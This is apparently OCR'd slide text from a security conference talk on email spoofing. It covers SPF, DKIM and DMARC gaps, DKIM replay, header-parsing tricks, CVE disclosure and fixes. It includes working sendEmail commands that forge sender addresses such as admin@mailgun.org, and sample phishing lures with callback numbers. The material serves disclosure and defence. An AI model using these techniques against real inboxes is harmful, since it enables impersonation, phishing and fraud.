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DISCLAIMER

The views, opinions, and content presented in this talk are solely my own and
do not reflect those of my employer, past or present. This presentation is
intended for educational and awareness purposes only. Any techniques or
findings discussed should not be used for unauthorized activities or

misinterpreted as guidance to conduct malicious behavior.



2







CRAFTING THE
ULTIMATE PRANK.




HOW TO SPOOF AN
EMAIL?

SMTP & API

cURL

API| Keys

curl —-request POST \
-—url https://api.brevo.com/v3/smtp/email \

Your SMTP Settings ' '
--header 'accept: application/json' \

SMTP Server smtp-relay.brevo.com ——hea de r abDl

Port 587 ——header ‘cor
Login terrible@friend.com ——data




(J TESTING IF THIS WORKS




SECURITY CHECKS

PASS?

Original message

Message ID 4deb8dc3-63ab-4880-a5ba-7077a05c9047 @smtp-relay sendinbl

Created on 1 April 2024 at 17:15 (Delivered after 1 second)

From "darryla@ —om" <darryla@223030174 t-sender-sib.com> Using sendEmail-1.56
To: gmail.com

Subject Subject: Urgent Action Required: HOA Notice - House Repainting Required

SPF: PASS with IP 185.41.28.5 Learn more

DKIM 'PASS' with domain t-sender-sib.com Learn more

DMARC 'PASS' Learn more




U GO TIME

dal‘l‘y|al_ «darryla@223030174.t-sender-sib.com:

ta me -

L =

Dear

We hope this email finds you well. It has come to our attention that the exterior paint color of your house located at [insert address] does not comply with the approved colors outlined in the HOA guidelines.
The shade of black used on your house is not correct and will need to be repainted to match the approved color. This is the only aspect of your house that requires repainting.

Please ensure that the shade of black is corrected within 30 days from the date of this notice. Example approved shades can be found attached.

2 attachments - Scanned by Gmail &

l . Warm lrue Caool

Black Black Blatk




O THE AFTERMATH...

’MB" 04/01/2024 5:48 PM

What else you got going on tonight?

% iR | 04/01/2024 5:50 PM

%> Just got a letter from the HOA saying our house color is not approved

So drinking



() EMAIL SECURITY TRINITY




() SPF - ARE YOU ON THE LIST?

 Verify Sender IP based on TXT record of domain via MAIL FROM / HELO

v=spfl include:example.com 1p4:198.51.100.25 -all

ip :198.51.100.25
is allowed



(J DKIM - SIGNED & SEALED

 Verify email based on the added DKIM signhature

selectorl. domainkey.example.com IN TXT "v=DKIM1l; k=rsa; p=MIIBIjANBgh...QAB"




DMARC - CAN | SPEAKTO YOUR

MANAGER

1 Tell email receivers on how to handle unauthenticated emails
 Verify SPF or DKIM based on the domain passed via FROM

_dmarc.example.com IN TXT "v=DMARC1l; p=reject;"

Policy: reject

d




SAMPLE SMTP FLOW

HELO a.com Verify sender IP based on

MAIL FROM: <alice@a.com>
RCPT TO: <bob@b.com>

[o

DATA

FROM:<alice@a.com> l

TO: <bob@b.com> Verify SPF OR DKIM based on FROM

Subject: Hello World - DMARC

DKIM-Signature: v1; d=a.com;

h=Content Verify email based on DKIM =

DKIM
[T}

Reference: https://www.usenix.org/conference/usenixsecurity21/presentation/shen-kaiwen
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() ALL THE MISCONFIGURATIONS

v=spfl include:spf.mailanyone.net -all

v=spfl include:spf.mailanyone.net ~all
_dmarc.example.com. IN TXT "v=DMARC1l; p=reject;"
domainkey.example.com. IN TXT "v=DKIM1l; k=rsa; p=MIGfMAOGC"
_dmarc.example.com. IN TXT "v=DMARC1" no policy

_domainkey.example.com. IN TXT "v=DKIM1l; k=rsa; p=" no pub key




() ARC, OUR HERO

ARC as a message passes
through multiple hops, which is particularly valuable for emails that are
forwarded or relayed through intermediate servers.



() s0 IS EMAIL EASY TO SPOOF?

ONE LEGIT
DOMAIN

EE———



O COMPANIES WITH ISSUES

Microsoft




Attack Pattem #1



Example: spoof email from networksolutions.com

<<>> DiG 9.18.18-0ubuntuz.l1-Ubuntu <<>> networksolutions.com txt

global options: +cmd

Got answer:

—>>HEADER<<- opcode: QUERY, status: NOERROR, id: 39459

flags: gr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0O, ADDITIONAL: 1

el ] bl ] bt ] el ]

OPT PSEUDOSECTION:

EDNS: version: 0, flags:; udp: 65494
; QUESTION SECTION:
networksolutions.com. IN

; ANSWER SECTION:

etworksolutions.com. "google-site-verification=4eIncvVtJhJSWegph
etworksolutions.com. "MS5=ms37265135"

etworksolutions.com. "MS=ms78547785"

etworksolutions.come ¥ "v=spfl 1p4:91.199.212.0/24 include:spfl.
sforce.com include:spf.websitewelcome.com include:eig.spf.a.cloudfilter.net -all"
etworksolutions.cuu. 200 "facebook-domain-verification=mdlpzwyjv2u
hetworksolutions.com. 266 "google-site-verification=5hT-6CoNzJ0WCHWJ




What is spf.websitewelcome.com?

Hostgator, probably like most shared hosting services, has ajmaster SPF recordjthat i1s designed to

cover all of its email servers. This allows the company to reorganize their servers without all of their

customers having to edit their SPF records. To include Hostgator's record in my own, | needed to
set my SPF record to the following:

v=sptl +a +mx +1p4:58.87.144.137 +include:websitewelcome.com ~all

Reference: https://serverfault.com/questions/723911/setting-up-an-spf-record-for-a-shared-hosting-service-with-lots-of-email-gateway



Allowed SPF IP ranges by HostGator

<<»>» Di1G 9.18.18-0ubuntu.l-Ubuntu <<>> spf.websitewelcome.com txt
global options: +cmd

Got answer:

—>»>»HEADER<<— opcode: QUERY, =tatus: NOERROR, id: 60077

flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: O, ADDITIONAL: 1

mE W™ ™ "™y s
mE ™mE ™E s

OFT PSEUDOSECTION:
EDNS: wversion: 0, flags:; udp: 65494
; QUESTION SECTION:

mE ®™mE W™E g

spf.websitewelcome.com.

= = AMNSWRERE SE(CMTR -

spf.websitewelcome.com. 263 IN THT "v=spfl 1p4:192.185.0.0/16¢ ip4:50.116.64.0/
18 1p4:50.87.152.0/21 1p4:108.167.128.0/18 1p4:216.172.160.0/19 1p4:108.179.152.0/18 ip4:16
2.144.0.0/16 —a11"

Query time: 0 msec

SERVER: 127.0.0.53#53(127.0.0.53) (UDF)
WHEN: Sat Jul 20 16:1%:02 UTC 2024

M3G SIZE zrcvd: 214

mE Sy "™y =g
mE Sy "™y =g




Enable HostGator SMTP credentials

Mail Client Manual Settings

If you do not see an auto-configuration script for your client in tt

\\ Username:
. ’\\ ’

Password: Use the email account’s password.

\‘v‘““‘ r
w | — Incoming gator4208.hostgator.com
\ / 4 Server: IMAP Port: 993 PQOP3 Port: 995

Outgoing gator4208.hostgator.com
Server: SMTP Port: 465 =,

IMAP, POP3, and SMTP require authentication.




mE Ty Wy WE Wy
E "™E W™y g
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r

HostGator SMTP server is included

<<>>» D16 9.18.18-0ubuntuZ.l-Ubuntu <<>>

global option=: +cmd

Got answer:

—>»>HEADER<<— opcode: QUERY,
flags: QUERY: 1,

status=s: id: 56938

ANSWER: 1,

NOERROR,

gr rd ra; AUTHORITY: 0O,

OFT PSEUDOSECTION:

EDNS: wersion: 0O, - :
QUESTION SECTION:

ator4208 .hostgator.com.

65494

gator4Z208 . .hostgator.c

ADDITICHAL: 1

O

in the master SPF

websitewelcome™ =»> [
"5@.87.152.8/21",
"S5@.116.64.08/18"

.179.192.8/18",
.144.8.8/16",
.185.8.8/16",
.172.168.8/19"




ATTACK FLOW

HELO networksolutions.com

RCPT TO: <target@gmail.com>

DATA
RFC 5322 Violation '
3 DMARC

v

TO: <target@gmail.com>
Subject: Hello World

DKIM-Signature: v1; d=victim.com;h=Content



O Send the email via utility

sendEmail -f admin@networksolutions.com
-Xu $username
-Xp $password
-t target@gmail.com
-u “Subject”
-m "Something believable”
-s gator4208.hostgator.com:587

Reference: https://github.com/zehm/sendEmail




Enable HostGator SMTP credentials

Hello World inbox

admin@networksolutfons.com <admin@networksolutions.cor

I This is a test email sent from the command line using sendEmail and HostGator.

Original Message

Message ID =735738.005812408-sendEmail@ubuntu-s-1vcpu-1gb-sfo3-01=
Created at: Fri, Jun 21, 2024 at 3:05 PM (Delivered after 3 seconds)
I — From: "admin@networksolutions.com” <admin@networksolutions.com=§Using sendEmail-1.56
To: "smtpcloudops@gmail.com” =smtpcloudops@gmail.com=
Subject: Hello World
SPE: PASS with IP 35.89.44 37 Learn more

DMARC: 'PASS' Learn more




O SPOOF ROOT DOMAINS ALSO

HostGator Support Follow-Up Minutes
Hostgator Accounting <no-reply@hostgator.com> <admin@hostgator.com>

To: @ Caleb Sargent

Subject: HostGator Support Follow-Up Minutes (1) Retention: DPT default 3 year delete Expires: 05/06/2028.
SPF: PASS with IP 44 202.169.33 Learn more
This message 1s from an external sender.
DMARC: 'PASS' Learn more
Hi Caleb,

We just wanted to check in regarding your account. Let us know if you need anything else.

Thanks,
HostGator Support




SAMPLED RESULTS - SPF
ABUSE

Vulnerable Domains

The majority did not have DMARC configured




SAMPLED RESULTS - SPF
ABUSE

6.
AT

\‘!,;/ Domain Vulnerability



() CLOUD COMPUTE TRUST

ip4:161.117.0.0/16
ip4:47.241.0.0/16
ip4:47.251.0.0/16
ip4:47.254.0.0/16
ip4:4774.0.0/16
iocon ——— oo ———» N EAraEao »
ip4:47.91.0.0/16
ip4:8.214.0.0/16
ip4:8.219.0.0/16

ip4:198.11.0.0/16



COMPUTE INSTANCE WITHIN IP
RANGE

Elastic Compute

Service
Overview gnt @
My Resources
Elastic Compute Service Running
i-rj9eayljS7totjjrff1l @+
My Services

Instances & Images



O EXAMPLE IN THE WILD

root@Email:~f sudo dmidecode —-s system—manufacturer
DigitalOcean

root@Email:~Ff curl ipconfig.io/fip

142.593.158.253

root@Email:~f D

: ; SuperTool| Betad
spf:morling.edu.au P
_s00155613.autospf.email SPF Record Lookup
| )
u=5pf1|i":lude:_568155613.autosp:.email ~all
spf:_s00155613.autospf.email 5 spf
Prefix Type Value
v=spfl ip4:46.92.9.8/15 ip4:66.102.0.0/20 ip4:74.125.0.0/16 ip4:35.191.8.8/16 ip4:54.249.0.0/18 ip4:128.17.8.0/20 ip4: ipa
v spfl 149.72.58.233 ip4:167.89.9.8/17 ip4:50.31.32.8/19 ip4:198.21.0.0/21 ip4:149.72.0.8/16 ip4:138.68.0.8/16 ip4:159.89.0.8/16 ip: .6
5.9.8/16 ip4:167.99.0.0/16 |ip4:142.93.0.8/16 |ip4:68.183.0.0/16 ip4:167.71.0.8/16 ips:64.225.0.0/16 ipa:40.187.0.8/16 ips:52.100.0.8/15 i
i s00155613 autosnf e . ,
+ include _s00155613 autospf ema nclude: s@@1556130.autospf.email ~all

= all



O EXAMPLE IN THE WILD

Original message

— Test from DigitalOcean
Message ID <20250526230107 B23F040A43@morling edu. au>
| root <no-reply@meorling.edu.au>
Created on 26 May 2025 at 19:01 (Delivered after 0 seconds) R
To: @ Caleb Sargent
From root <no-reply@morling.edu au=>
To: @agmail.com (i) Retention: DPT default 3 year delete Expires: 05/26/2028.
Subject: Test from DigitalOcean
SPF PASS with IP 142.93.198.253 Leamn more Hhia Mensags t fram an sdaime. Jancar

— DMARC 'PASS' Learn more This is a test




() CLOUD TRUST RESULTS

Top VPS Providers Found in SPF Subdomain Records

Amazon Technologies Inc.

Microsoft Corporation
RIPE NCC

SendGrid, Inc.
Proofpoint, Inc.

Comcast|

Rackspace Hosting
AT&T Enterprises
Google LLC
Verizon Business

Amazon.com, Inc.

VPS Provider

CenturyLink
APNIC
DigitalOcean

Akamai

Charter Communications
Liquid Web

Cisco Ironport

Twilio SendGrid

0 5000 10000 15000 20000 25000
Subdomain References



How did we get this data?

(20



Sample Trust Chain

example.com
L includes - mailhosted.net
L— WHOIS - MegaMail LLC
L— IP block: 198.51.100.0/227

* This means example.com implicitly trusts MegaMail’s infra
* Attackers can spoof example.com if they control a sending IP
inside that range



O GIVE ME THE DATA

RE: 25302-Requesting access to Open Data datasets

1P TR SREEE 15 TO0ETY A0 @ NS Nl S isEr,

ead the global strategic alliances team at Rapid?.

What wou lave outlined belaw definitely falls under our commercial use case, There is alt35.000 USD annual Tee lssociated with access to the de

e clata & & package so you got all sources listed bere v an a la carte approach

16 of historcal
programmalicaliy site or via AN

+ We provide 37 montl
« Al data car ||| P I '|i||-'|'I froem thie site or I

Vhien you're ready, I'm happy 1o draw up an official quote & send over the Terms of Sendoe

mx 2023-10-18 Dataset

Amount

$112]124

Item & Description

mx 2023-10-18



DISCOVERING
DOMAIN TRUSTS

_ Outputs to
Build a map of CSV/JSON/Graph

who trusts whom for analysis




MAIL FROM + FROM + SPF ABUSE

Large domain registrar & email
service & hosting providers

« CVE-2024-7208

« CVE-2024-7209

Attack pattern prerequisites?

O Email address is not verified from MAIL FROM field
J Email address is not verified from FROM field
O Victim domains include the overly permissive / master SPF records

//
75% What is the impact?
i imp
Spoof emails from 6M+ domains

Only 15% of the domains owned by two
email and hosting providers were scanned.

Potentially affect any type of mailbox
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What is the Feedback Loop?

Sender/Email

/
%\:ﬁ Service Provider
\\
Return feedback
~ to sender or email | E I
~ | service provider E
Feedback
K\ Loop
Mailbox Recipients @
W Providers
\
g e

| as spam

Reference: https://mailtrap.io/blog/email-feedback-loop/




Gmail Feedback Loop requirement

About the data

The aggregate data will be generated for the first 4 fields (as separated by “’) of the Feedback-
ID:, starting from the right side. If the SenderId is empty, no data will be generated. If another

field is empty, data will be generated for the rest of the fields.

access the FBL data.

Reference: https://support.google.com/a/answer/6254652




U FROM + DKIM ABUSE

QO .

DOMAIN
VERIFICATION




ATTACK FLOW: SPOOF MAILGUN.ORG INTO GMAIL

MAILBOX

HELO a.com
MAIL FROM: <alice@a.com>
RCPT TO: <bob@b.com>

RFC 5322 Violation

DATA

Verify DKIM status for mailgun.org ‘ DMARC
TO: <bob@b.com>
Subject: Hello World
DKIM-Signature: v1; d=a.com; Signed DKIM email by sender mailgun.org

DKIM-Signature: vi;d=mailgun.org;



Generate some API keys

Description 4

testing

Spoof some emails

newkey

©

API key

New API Key

Info: this API key is displayed only once, now. Therefore, copy and keep this
key somewhere safe but accessible. If you lose this key, you can delete it
and generate a new one.



O Send the email via utility

sendEmail -f admin@mailgun.org
-Xu $username
-Xp $password
-t target@gmail.com
-u "Spoofed Email”
-m "This 1s a test”
-s smtp.mailgun.com:587

Reference: https://github.com/zehm/sendEmail




Example: Spoof mailgun.org for Gmail mailbox

Spoofed Email

admin@mailgun.org <ad

This is a test

“ Reply || —~ Forward | [ (2 )

Original Message

"admin@mailgun.org” <admin@mailgun.org> Using sendEmail-1.56

"smtpcloudops@gmail.com" <smtpcloudops@gmail.com=

Message ID 7

Created at Fri, May 3, 2024 at 9:36 AM (Delivered after 2 seconds)
From

To:

Subject Spoofed Email ’

SPF PASS with IP 159.135.228.59 Learn more

DKIM: 'PASS' with domain mailgun.org f.earn more

DMARC 'PASS' Learn more




SPOOFING ROOT
DOMAINS

Brevo @



Examples: Spoofing from Brevo

Outlook

27 Unverified |We didn't start the fire

| test@outlook.com itest@autlook.comﬂ

To:

Retention: DPT default 3 year delete Expires: 07/23/2027.

Authentication-Results: spf=pass (sender |P is 185.41,28.5)

smtp.mailfrom=ae.d.mailin.fr; dkim=pass (signature was verified)
header.d=sendinblue.com;

FEaaerrom = ounooK.com, compautn=1an reason=uu 1

Received-5PF: Pass (protection.outlook.com: domain of ae.d.mailin.fr
designates 185.41.28.5 as permitted sender) receiver=protection.outlook.com;
client-ip=185.41.28.5; helo=ae.d.mailin.fr; pr=C

Private

It was always burning

test@outlook.com

Te admin@purplecloudops.com

Reply  Replyall Forward — Delete

Received: from asp-relay-pejellyfish.systems (unknown [198.54.122.240])
by mxs-10.mxs.mxs.sve.cluster.lan (Postfix) with ESMTP id F366A761CA

for <admin@purplecloudops.com; Mon, 22 Jul 2024 14:55:03 +0000 (UTC)

Authentication-Results: asp-relay-pe.jellyfish.

systems;

dkim=pass header.d=sendinblue.com H
spf=pass (asp-relay-pe.jellyiish.systems

Bader.s=mail header.b=GXziGEK+;

domain of "bounces-223030174-

test=outlook.com@ae.d.mailin.fr" designates

185.41.28.5 as permitted sender)

Gmail

Since the world's been turning  inbox =

® test@outlook.comftest@223030174 t-sender-sib.com: |
- to me -
Says Billy

SPF PASSwith IP 185.41.28.5 Learn more

DKIM 'PASS' with domair| t-sender-sib.com| Learn more

DMARC 'PASS' Learn more




FROM + DKIM ABUSE

Large email service providers, such as Brevo and Mailgun,
who leverage Feedback Loop (FBL) feature of popular mailbox
providers such as GMAIL, Outlook, and Yahoo Mail to collect
users' complaints

CVE-2024-7208

/ What is the impact?

Spoof emails from the sender
DKIM domain used for FBL

Attack pattern prerequisites?

O Email address is not verified from FROM field
O A DKIM signature is required by FBL for email sender



O DKIM REPLAY?

Sender Recipient

Sender Attacker Recipient



DKIM REPLAY DETAILS

user@Alpha-company.com

.\
Wt
.X(©
D\
Gift Card user@Bravo-company.com
user@attack.com Submit

Forwarding
Rule
user@Charlie-company.com




O Inject Phishing Content into Org Name




Trigger Email Security Notification

Google Payments: Info updated for Please call 866-000-1222 if you do not recognize this change

e Google Payments

Google

Information updated for Please call
866-000-1222 if you do not recognize
this change




ATTACK FLOW

payments-noreply@google.com replay@replaydomain.com

victiminbox@gmail.com

Valid Platform Address Distro List

: _ . unginal Message
Google Payments: Info updated for Please call 866-000-1222 if you do not recognize this

Victim

Wed, May 21, 2025 at 4:47 PM (Delivered after 8 seconds)

Google Payments <payments-noreply@google.com>

replay@d = com

Google Payments: Info updated for Please call 866-000-1222 if you do not recognize this chang

PASS with IP 66.29.159.58 Learn m

@) Google Payments ! , Message ID
[
Created at:
GO gle From:
. To:
Information updated for Please call
Subject:
866-000-1222 if you do not recognize
) SPF:
this change
DKIM:
DMARC:

'PASS' with domain google.com Learn more

'PASS’' Leamnn

PENDING DISCLOSURE


mailto:payments-noreply@google.com
mailto:payments-noreply@google.com
mailto:payments-noreply@google.com
mailto:replay@replaydomain.com
mailto:replay@replaydomain.com

“WORKING AS INTENDED?”

ca...[@google.com Jun 4

Status: Wont Fix (inte

Hil

We've reviewed your submission and decided not to track it as a security bug, as we are already aware of this issue
For the same reason, your report will also not be accepted to our VRF. Only first reports of technical security vulnerabilities are in scope for VRP :( Sorry about that

Mevertheless, we're looking forward to your next report! To maximize the chances of it L:I:.II:__: accepted, check out the E and learn some ¢

Thanks again for your report and time

Google Trust & Safety Team




Other Examples

ST vyval IB 2L )"Uu 1w PICCI.‘JC wan

Cash App

" yuu nHave \..{LJC.‘_N.IUI [ b=

$1.00

) Coinbase ©

<N ]

Your Power Bl Premium Per User subscription is
ready to use

Your organization now has a subscription to Power Bl Premium Per User. Sign in to the

Microsoft 365 admin center to set up your new service, assign licenses to users, and

manage your subscription
Additional resources

o Learn how 1o

e Learn how to

Account information

Organization name: Your (Microsoft Corporation) .Your subscription has been success
fully purchased for 689.89 USD using your checking account. If you did not authorize
this transaction, please call 1(234) 456-0000 to request a refund account verification

codge

coinbase

You just received 0.00001194 BTC
($1.00)

¥ 4 Sign up a v v
y m your transferred v
act fetail ) 3 '
M e from r. Pk I y v



DKIM REPLAY

Attack pattern prerequisites?

O A web form that allows a user supplied email address
+ some form of user supplied information — Name,
address, comment, etc.

> What is the impact?

Spoof emails from the sender’s
DKIM domain




Attack Pattem #3




Spoofing emails via manipulating email headers

Does email providers parse FROM field
consistently?

 Differ in strictness, error tolerance, and interpretation
e Some accept malformed headers

e Others rewrite/sanitize headers due to DMARC/SPF
policies




O Spoofing emails via manipulating email headers

Encouraged by Slonser’s blog

Contact

Reference:



O Spoofing emails via manipulating email headers

Header injection via group names

4



Spoofing emails via manipulating email headers

<admin@gmail.com>:

futhentication-Results: phl-mx-08.messagingengine.com;
: o signatures found);

to fastmailcom & : = = .
olicy.published-domain-policy=none
£ policy.published-subdomain-policy=quarantine
rom:

policy.applied-disposition=quarantine
To: - policy.evaluated-disposition=none policy.override-reason=local policy
(p=none,sp=quarantine,d=quarantine,d.eval=none,override=local _policy)

Subject: Helo World Ema policy.policy-from=p header.from=gmail.com;

Date: Thursday, May 29, 2025 6:16 PM iprevepass smtp.remote-ip=209.85.210.195 (mail-pf1-f195.google.com);
Size: a xe spfepass smtp.mailfromes @gmail.com

smtp.helosmail-pf1-f195.google.com


mailto:user1@gmail.com

Spoofing emails via manipulating email headers

f

From @ "Hello World™:

To @proton.me

8 @ 8 © V¥V

There we go

:<admin@github.com> I:> :<admin@github.com>

LI

Message headers

Return-Path: < >
X-Original-To: @proton.me
Deldvered-To: @gproton.me

Authentication-Results: mail.protonmail.ch; dkim=pass (Good 2048 bit

rsa-sha2s56 signature) header.d=smtpclouds.com header.a=rsa-sha2sé
Authentication-Results: mail.protonmail.ch;fdmarc=pass Kp=reject dis=none)
rom=githubd.com




Vendor Fix

From @ "hello" : <admin@github.com>

To @proton.me

A Our system flagged this as suspicious. If it is not a phishing or scam email, mark as legitimate. Learn more

B U =2 © Y



O Enabling unauthorized messages to appear as if sent from trusted sources

Header rewrite by email service provider

e Example: Google Groups rewrite the FROM field
if sender's domain has specific DMARC records

CEEISE Ry

Original Google Rewritten header  Recipients
sender Group to group address




Enabling unauthorized messages to appear as if sent from trusted

sources

Message |D

Created al Fri, May 23, 2025 at 429 PM (Deliveraed after 6 seconds)
From ‘John Cloud' via DL <DLEsmipgroup. org=

[4] “dig@@smipgroup.org” <dlfsmitpgroup. org>

Subject hello

SPF PASS with IP 209.85.220.69

DKIM 'PASS' with domain smtpgroup-org. 20230601 gappssmip.com

DMARC 'PASS’



O Enabling unauthorized messages to appear as if sent from trusted sources

Some email providers

allow creation of GOAL:
subdomains
no-reply@ .brevosend.com

tickets@ .brevosend.com






URGENT: Your Bahamas Cruise Has Been Cancelled nbox

e cruise-support@disney.go.com <no-reply@disney brevosend.com=  Unsubscribe

tome *

cruise-support@disney.go.com <no-reply@disneybrevosend.coms

Images ir "cruise-support@disney.go.com” <no-reply@disney.brevosend.com:

@grmail.com
Show i 28 May 2025, 11:15

URGENT: Your Bahamas Cruise Has Been Cancelled
kh.d.sender-sib.com

Dear |
6468295 brevosend.com
We re i Standard encryption (TLS) Learn more
Important according to Google magic.
Afully
To proceed, please call our Refund Support Hotline at +1 within the next 48 hours.

Failure to respond within this timeframe may result in delays processing your refund.
We apologize for the inconvenience and appreciate your understanding.
Sincerely,

Disney Cruise Refund Services
hitp://disn3y-support. net

Subject:

SPF:

DKIM:

DMARC:

1 cancelled due to unforeseen operational issues.

ing issue, we require verification of your account to complete the refund.

URGENT: Your Bahamas Cruise Has Been Cancelled
PASS Jith IP 77.32.148.112 Learn more

'PASS' with domain 6468295 brevosend.com Learn more

'PASS'

Learn more



One last trick...

. ? . ? o rs . .
If at first you don’t succeed, Google it D inbox x &’ Unverified Re: Don't listen to the other guy

larry.page@gmail.com via O Bill Gates <bill.gates@microsoft.com>
: vig
£ tome ¥ To: @ Caleb Sargent

The most searched phrase on Bing? ‘Google".

(i) Retention: DPT default 3 year delete Expires: 06/25/2027.

\_ € Reply )| ~ Forward )| @ We just made Windows updates easier than finding a relevant Google+ post




SMTP PARSING PROBLEMS

All large email inbox providers

ici 2
colldbeinerzbleitotnis Attack pattern prerequisites”

O Identify the right pair of outbound and inbound SMTP servers
0 Outbound SMTP allows non-RFC complaint mail headers
0 Inbound SMTP fails parse the malformed headers correctly

What is the impact?

Spoof emails from high

reputational domains and target
affected email providers’ inboxes




Disclosure



DOES ABUSEQ@QCOMPANY.COM

WORK?

Email Spoofing Vulnerability Responsible Disclosure - DCU-826755 © inbox x

Digital Crimes Unit <care@services.godaddy.com: Wed, 24 Apr, 14:09

tome -

(@ GoDaddy

Everything you need to know about

|
your Abuse Report:

This email inbox isn't monitored. To finish your report, please go to the Abuse

Reporting_ Form.

We'll review your complaint and process in accordance with our policies, and will
contact you only if necessary and at our discretion.

If you submit (or have already submitted) your report using the Abuse Reporting
Form, additional submissions from the same email within 24 hours may not receive
another notice of receipt.

To send reports in bulk, you can use our API for brand protection and industry

partners.
View Abuse Reporting Form —



BUT SOMETIMES THINGS TAKE A

WHILE

é )

t‘;‘ Caleb Sargent Fri, 24 May, 1645 % @ €

to Twilio «

Good Afternoon Team,

We wanted to check in to see if there has been any movement on this ticket, as we just retested this issue and it's still there. We'll be opening a US-CERT case against this

vulnerability and plan to disclose the issue at BlackHatUSA at the beginning of August. |
Regards,
Caleb
________________________________________} - _______________________________________
Compliance Operations Team (Twilio SendGrid Support) <support@twiliosendgrid.zendesk.com> Sat, 25 May, 08:21 “ :
@] P P PP g
@ tome~

Compliance Operations Team (SendGrid)

Hi Calebsargent,

I am transferring your request to our Consumer Trust team, who will provide further assistance. If you have any additional questions about this request,
please respond with them here.

Onboarding & Compliance Operations




() DISCLOSURE

US CERT Coordination

' Coordinators

CERT/CC

Reporters

squared
m Howard

Vendors

Allworx

Axigen

Barracuda Networks
BluelMai

Brevo

SHOW ALL [54]

Reference: https://kb.cert.org/vuls/id/244112



Recommendations



MISCONFIGURATIONS

ABOUND

w
NS/ *

RECOMMENDED
FIX

X X X X X X X




from unauthorized servers.

even when messages are resent out of context.

making spoofed delivery hard to detect.



DKIM2

YOU’RE OUR ONLY HOPE

e DKIM?2 by adding protections against replay attacks.
* Introduces

 Helps receivers detect when a from an unauthorized
source.

. and designed for phased adoption alongside existing
DKIM setups.

e Strengthens email trust by to message authenticity.



O FOLLOW THE RFC

In all cases, the "From:" field
contain any

mailbox that does not belong to

the author(s) of the message

Defines the syntax for Internet
email headers, is
a formal structure allowing the
grouping of multiple email
addresses under a named
label.

DMARC's filtering function is
based on whether the
RFC5322.From field

domain is aligned with (matches)
an name
from SPF or DKIM.

It is important to note that the
authentication mechanisms
employed by DMARC
authenticate only a DNS domain
and do not authenticate the local-
part of any email address
identifier found in a message...

It is up to mail services and their
MTASs to directly prevent cross-
user forgery: based on SMTP
AUTH ([RFC4954)),

be restricted to using only those
email addresses that are under
their control...

The issue an error
response to a RCPT command if
inconsistent with the permissions
given to the user (if the session
has been authenticated)



() TAKEAWAYS

G Industry - It's 2025, and email trust does not enforce encryption. We can do
better by adopting DKIMv2







Caleb Sargent



Dark Reading blog about our research

» https://www.darkreading.com/threat-intelligence/20-million-trusted-domains-vulnerable-to-email-hosting-
exploits

CERT Blog about our research
% https://kb.cert.org/vuls/id/244112

Weak Links in Authentication Chains: A Large-scale Analysis of Email Sender Spoofing Attacks

< https://www.darkreading.com/threat-intelligence/20-million-trusted-domains-vulnerable-to-email-hosting-
exploits
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RFC - Internet Message Format
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sshttps://serverfault.com/questions/723911/setting-up-an-spf-record-for-a-

shared-hosting-service-with-lots-of-email-gateway

**https://github.com/zehm/sendEmail

“*https://mailtrap.io/blog/email-feedback-loop/

“*https://www.twilio.com/docs/sendgrid/ui/account-and-settings/spf-
records

“*https://support.google.com/a/answer/6254652
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